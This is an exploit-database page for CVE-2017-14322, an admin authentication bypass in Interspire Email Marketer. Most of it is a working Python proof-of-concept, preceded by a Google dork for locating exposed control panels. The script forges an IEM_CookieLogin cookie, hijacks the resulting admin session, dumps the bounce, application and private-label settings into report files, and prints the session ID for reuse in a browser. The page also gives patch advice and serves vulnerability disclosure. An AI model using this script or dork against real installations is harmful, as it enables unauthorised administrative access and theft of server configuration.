Interspire Email Marketer - Remote Admin Authentication Bypass

vendor:

Email Marketer

by:

devcoinfet

9.8

CVSS

CRITICAL

Authentication Bypass

287

CWE

Product Name: Email Marketer

Affected Version From: 6.1.3

Affected Version To: 6.1.6

Patch Exists: YES

Related CWE: CVE-2017-14322

CPE: a:interspire:email_marketer

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Below 6.1.6

2018

Interspire Email Marketer – Remote Admin Authentication Bypass

Interspire Email Marketer versions 6.1.3-6.1.6 are vulnerable to an authentication bypass vulnerability. An attacker can exploit this vulnerability by sending a specially crafted request to the application with a forged cookie. This will allow the attacker to gain access to the application without authentication.

Mitigation:

Upgrade to the latest version of Interspire Email Marketer and ensure that all security patches are applied.

Source

Exploit-DB raw data:

'''
# Exploit Title: Interspire Email Marketer - Remote Admin Authentication Bypass
# Google Dork: intitle:"Control Panel" + emailmarketer
# Date: 4-22-18
# Exploit Author: devcoinfet
# Vendor Homepage: www.interspire.com/emailmarketer 
# Software Link: Can't legally provide link but can be found on net 
# Version: [6.1.3-6.1.6]
# Tested on: Below 6.1.6
# CVE : CVE-2017-14322

https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html 
https://github.com/joesmithjaffa/CVE-2017-14322 
thanks to above Researchers

1. Description



this is used like this
--------------------------
exploit.py url/email-marketer/admin/index.php


2. Proof of Concept
'''


import requests
import sys
from bs4 import BeautifulSoup
from pprint import pprint


def cookie_cutter(url):
    with requests.Session() as s:
       s.get(url)
       r = s.get(url)
       response_regex = r.text
       print("requesting initial Cookie\n")
       print(str(r.headers)+"\n")
       
       for key,value in s.cookies.items():
           if key and "IEMSESSIONID" in key:
          
              s.cookies.set('IEM_CookieLogin', "YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D")
       print("Attempting To Posion 2nd request with Forged Cookie\n")
       print("-" * 25)
       r = s.get(url)
       response_regex2 = r.text
       print response_regex2
       print(str(r.headers) + "\n")
       if response_regex != response_regex2:

          for key,value in s.cookies.items():
              if "IEMSESSIONID" in key:
                 try:
                    #using session riding from previous cookie we grab the info we want :)
                    bounce_info_grab(url,value)
                    app_info_grab(url,value)
                    privt_info_grab(url,value)
                 except:
                     pass
                 return value,r.text


def bounce_info_grab(url,session_to_ride):
    url_grab = url+"?Page=Settings&Tab=2"
    print(url_grab)
    with requests.Session() as s:
       s.get(url_grab)
       s.cookies.set('IEMSESSIONID',session_to_ride)
       r = s.get(url_grab)
       response_regex = r.text
       soup = BeautifulSoup(response_regex,'html5lib')
       div = soup.find('div', id='div7')
      
        
       outfile = open("bounce_report.txt",'w')
       dataout = """<html><head>Report</head><title>Report</title>
                    <body>""" + str(div) +"""</body></html>"""
       outfile.write(dataout)
       outfile.close()
       for divy in div.contents:
           print(divy)
          
def app_info_grab(url,session_to_ride):
    url_grab = url+"?Page=Settings&Tab=2"
    print(url_grab)
    with requests.Session() as s:
       s.get(url_grab)
       s.cookies.set('IEMSESSIONID',session_to_ride)
       r = s.get(url_grab)
       response_regex = r.text
       soup = BeautifulSoup(response_regex,'html5lib')
       div = soup.find('div', id='div1')
    
        
       outfile = open("application_settings_report.txt",'w')
       dataout = """<html><head>Report</head><title>Report</title>
                    <body>""" + str(div) +"""</body></html>"""
       outfile.write(dataout)
       outfile.close()
       for divy in div.contents:
           print(divy)   
    
def privt_info_grab(url,session_to_ride):
    url_grab = url+"?Page=Settings&Tab=2"
    print(url_grab)
    with requests.Session() as s:
       s.get(url_grab)
       s.cookies.set('IEMSESSIONID',session_to_ride)
       r = s.get(url_grab)
       response_regex = r.text
       soup = BeautifulSoup(response_regex,'html5lib')
       div = soup.find('div', id='div8')
     
        
       outfile = open("privtlbl_settings_report.txt",'w')
       dataout = """<html><head>Report</head><title>Report</title>
                    <body>""" + str(div) +"""</body></html>"""
       outfile.write(dataout)
       outfile.close()
       for divy in div.contents:
           print(divy)   
    
def main():
    url = sys.argv[1]
    print  "Evaluating Target:" +url+ """ For CVE-2017-14322"""+"\n"
    print "-" * 25
    try:
       session_rider_value,content = cookie_cutter(url)
       print "Session Has Been Generated Entering Internal Data Dumping Routine"+"\n"
       print "-" * 25
       print "Magic Cookie Generated Modify Existing IEMSESSIONID Value In browser With Below Value "
       print "-" * 25
       print  session_rider_value+"\n"
       print "-" * 25
    except:
       print "Target Is Not Vulnerable"
       pass
   
    

main()

'''
When Running this, if it is succesful check for 3 files in the directory of exploit to find crucial internal configs in Html format
do not use this for bad just dont do it please.
 

3. Solution:
   
Update to version 6.1.6 atleast
http://www.interspire.com/emailmarketer 
'''